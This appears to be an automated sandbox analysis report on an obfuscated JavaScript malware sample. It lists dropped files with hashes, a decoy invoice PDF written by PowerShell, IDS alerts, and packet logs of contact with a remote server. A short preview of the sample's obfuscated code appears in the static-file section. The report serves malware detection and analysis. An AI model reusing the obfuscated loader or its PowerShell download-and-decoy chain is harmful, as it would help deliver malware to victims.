Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\1c05570c-2459-4444-9f72-cd44e509d261.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\3b40cfbc-90c4-4132-8812-efd857720d37.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\adaaae78-ce78-4b09-a57a-26262c83aff4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17947), with CRLF line terminators
Entropy (8bit):	4.9187682344001
TrID:
File name:	1957514819973625739.js
File size:	21'485 bytes
MD5:	0517219d06af2618d4addf49d60c7c0d
SHA1:	276d82ba0773e293454d58188414f7f8ff602ac7
SHA256:	88fd5cd132c86a35e4ce4fc8ac55cb771c3c42179fb6c4d55b4fc96c3d336278
SHA512:	647387d201180918e8961fdc0292dc8235e480d2c66e08588f40d2cb1d1df7709388459c73b20143966912a2e7176e13a7bf5ff1ee10c830e23c940c6c3ba3da
SSDEEP:	384:T1AhR5qtEslUHqMRfT5c1cQFZzJrHsVsmOJNki3:T1kR2UH1fT5c1cQFZzJrHsVsmOJNki3
TLSH:	3EA234555B1ACCFADAE800A056DD24A521FC08CB03C0A5F94942345EEAF6E7EE0EFD75
File Content Preview:	function yriorm(){lwtofj=[1031,3079,5127,4103,2055,3072];var ywpmvqv=this[nztrcold+llvybl+wkalif+onrzx+qdfcvyk+ubuclx+gkysdmyce+ytwklcpl](this[atbcl+wsadxsvnf+hkmltcf+wkalif+uwmyvuiu+nztrcold+ytwklcpl][xhfgr+wkalif+qdfcvyk+llvybl+ytwklcpl+qdfcvyk+qduzucim

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T23:52:34.142038+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-10T23:52:36.410793+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:52:33.352148056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:33.357125998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:33.357218981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:33.360745907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:33.366347075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.141875982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.141892910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.141906023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.141917944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.141931057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.142038107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.142096996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.142111063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.142128944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.142141104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.142148972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.142154932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.142168045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.142182112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.142215014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.146994114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.147031069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.147202969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.189085960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.189105988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.189183950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.267362118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.267405033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.267417908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.267431974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.267446041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.267566919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.267642021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.267694950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.267736912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.268012047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.268023968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.268037081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.268050909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.268058062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.268084049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.268632889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.268646955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.268666983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.268677950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.268690109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.268696070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.268729925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.269613028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.269625902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.269639015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.269651890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.269664049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.269678116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.269707918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.319319963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.319426060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.319441080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.319475889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.353893042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.353928089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.353949070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.392340899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.392393112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.392430067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.392441034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.392496109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.392613888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.392627001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.392638922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.392651081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.392663002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.392668962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.392720938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.393233061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.393248081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.393254995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.393281937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.393302917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.393675089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.393687963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.393699884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.393740892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.393788099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.393793106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.393799067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.393831015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.393848896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.394536018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.394548893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.394560099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.394575119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.394593000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.394613028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.394625902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.394635916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.394673109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.395533085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.395545006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.395555973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.395567894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.395581007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.395593882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.395595074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.395632982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.396348953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.396424055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.396437883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.396450043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.396461010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.396473885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.396481991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.396501064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.396533966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.397356987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.397368908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.397382021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.397398949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.397412062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.397412062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.397469044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.405944109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.405956984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.405967951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.405980110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.405997038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.406013966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.406090021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.439934015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.439944983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.439989090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.440490007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.440500975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.440510988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.440613031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.479064941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.479075909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.479126930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.517379999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.517393112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.517462969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.517473936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.517486095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.517497063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.517507076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.517524004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.517535925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.517556906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.517581940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.518336058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.518346071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.518389940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.518469095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.518508911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.518521070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.518554926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.518558979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.518573046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.518584013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.518603086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.518640995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.519412994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.519423962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.519435883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.519463062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.519468069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.519480944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.519493103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.519521952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.519556046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.520292997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.520306110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.520317078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.520344973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.520344973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.520359993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.520373106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.520386934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.520417929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.521271944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.521285057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.521291971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.521307945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.521321058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.521338940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.521349907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.521359921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.521390915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.522126913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.522140026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.522160053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.522171021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.522181988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.522186995 CET	49730	80	192.168.2.4	193.143.1.205
